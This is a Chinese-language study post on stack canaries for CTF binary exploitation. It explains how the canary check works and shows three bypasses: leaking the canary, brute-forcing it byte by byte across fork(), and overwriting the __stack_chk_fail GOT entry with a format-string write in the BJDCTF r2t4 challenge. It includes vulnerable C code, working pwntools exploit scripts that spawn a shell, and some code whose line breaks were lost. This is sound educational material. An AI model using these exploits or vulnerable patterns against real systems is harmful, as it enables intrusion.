Canary 学习

本文主要是介绍Canary 学习，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

Canary 学习

Canary的原理：

        HighAddress |                 |+-----------------+| args            |+-----------------+| return address  |+-----------------+rbp =>  | old ebp         |+-----------------+rbp-8 =>  | canary value    |+-----------------+| 局部变量        |Low     |                 |Address

程序会在每次执行时，在栈空间中生成一个canary值，当栈溢出覆盖canary值后，程序通过比较canary值的不同来确定程序是否有栈溢出。

当程序启用 Canary 编译后，在函数序言部分会取 fs 寄存器 0x28 处的值，存放在栈中 %ebp-0x8 的位置。这个操作即为向栈中插入 Canary 值，代码如下：

mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp - 8], rax

在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。如果异或的结果为 0，说明 canary 未被修改，函数会正常返回，这个操作即为检测是否发生栈溢出。

mov    rdx,QWORD PTR [rbp-0x8]
xor    rdx,QWORD PTR fs:0x28
je     0x4005d7 <main+65>
call   0x400460 <__stack_chk_fail@plt>    #当canary被修改后程序会调用__stack_chk_fail函数

当程序开启Canary的时候，我们应该如何做：

泄露Canary值：
思路：Canary 设计为以字节 \x00 结尾，本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节，来打印出剩余的 Canary 部分。 
条件：这种利用方式需要存在合适的输出函数，并且可能需要第一溢出泄露 Canary，之后再次溢出控制执行流程，需要俩次输入。

例子：

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {system("/bin/sh");
}
void init() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
}
void vuln() {char buf[100];for(int i=0;i<2;i++){read(0, buf, 0x200);printf(buf);}
}
int main(void) {init();puts("Hello Hacker!");vuln();return 0;
}

首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后，计算好偏移，将 Canary 填入到相应的溢出位置，实现 ret 到 getshell 函数中：

#!/usr/bin/env pythonfrom pwn import *
#context.log_level = 'debug'
io = process('./ex2')
elf=ELF("./ex2")
get_shell = elf.symbols["getshell"]io.recvuntil("Hello Hacker!\n")# leak Canary
payload = "A"*100
io.sendline(payload)io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa  #因为我们用0xa来覆盖0x00，所以最后Canary需要减0xa
log.info("Canary:"+hex(Canary))  //日志记录# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)io.recv()
io.interactive()

爆破Canary

思路：程序中存在fork()进程，虽然每次程序运行时Canary值是不一样的，但是通过fork()创建的子进程中的Canary值是一样的，fork()函数就相当于创建了一个和父进程一样的子进程，子进程会直接将父进程的内存copy到子进程中，我们可以逐个字节的爆破Canary，32位的爆破3位，因为最后一位是\x00,64位需要爆破7位。
条件：1、要有线程，也就是要就fork()函数2、要存在栈溢出

爆破脚本：

32bits

将图中3改为7应该就是64bits的吧。。。。

64bits

print "[+] Brute forcing stack canary "start = len(p)
stop = len(p)+8while len(p) < stop:for i in xrange(0,256):res = send2server(p + chr(i))if res != "":p = p + chr(i)#print "\t[+] Byte found 0x%02x" % ibreakif i == 255:print "[-] Exploit failed"sys.exit(-1)canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary

类似题目再学吧，太难了，不会啊。

劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数，__stack_chk_failed 函数是一个普通的延迟绑定函数，可以通过修改 GOT 表劫持这个函数。

参见 ZCTF2017 Login，利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表，再进行 ROP 利用

BJDCTF_r2t4

考点：用格式化字符串写__stack_chk_fail 函数来 bypass canary

在这里插入图片描述

可以看到程序保护全开，我们用IDA看一下程序。

在这里插入图片描述

很明显程序有格式化字符串漏洞，但是0x38不够溢出到ret，但是程序开启了canary，而且我们又找到了后门函数，于是我们可以劫持__stack_chk_fail函数，通过修改got表来达到get shell的目的。

在这里插入图片描述

可以看到偏移是6，因为是64位程序前6个参数都在寄存器里，而这里aaaa是第七个，也就是栈里的第一个，又因为我们在算偏移的时候需要减去1，所以偏移是6.

exp：

#! /usr/bin/env pythonfrom pwn import *
#context.log_level='debug'
sh=process('./r2t4')
#sh=remote('node3.buuoj.cn',28020)
elf=ELF('./r2t4')__stack_chk_fail=elf.got['__stack_chk_fail']
boor_addr=0x400626  #后门函数
print hex(__stack_chk_fail+2)  
print hex(__stack_chk_fail)  
payload='%64c%9$hn%1510c%10$hnAAA'+p64(__stack_chk_fail+2)+p64(__stack_chk_fail)
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

64：0x40，对应backdoor函数地址的高两字节0x0040

9：由于格式化字符串%64c%9 $h n$ hnAAA占用了24个字节，因为是64位程序，所以偏移6+3=9

$hn：将已输出的字符数低2字节写到指定地址

1510：1510+64=1574=0x626，对应backdoor函数地址的低两字节0x0626

10 ：在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节，即偏移为10

AAA：填充作用，栈对齐，使之为8的倍数

在这里插入图片描述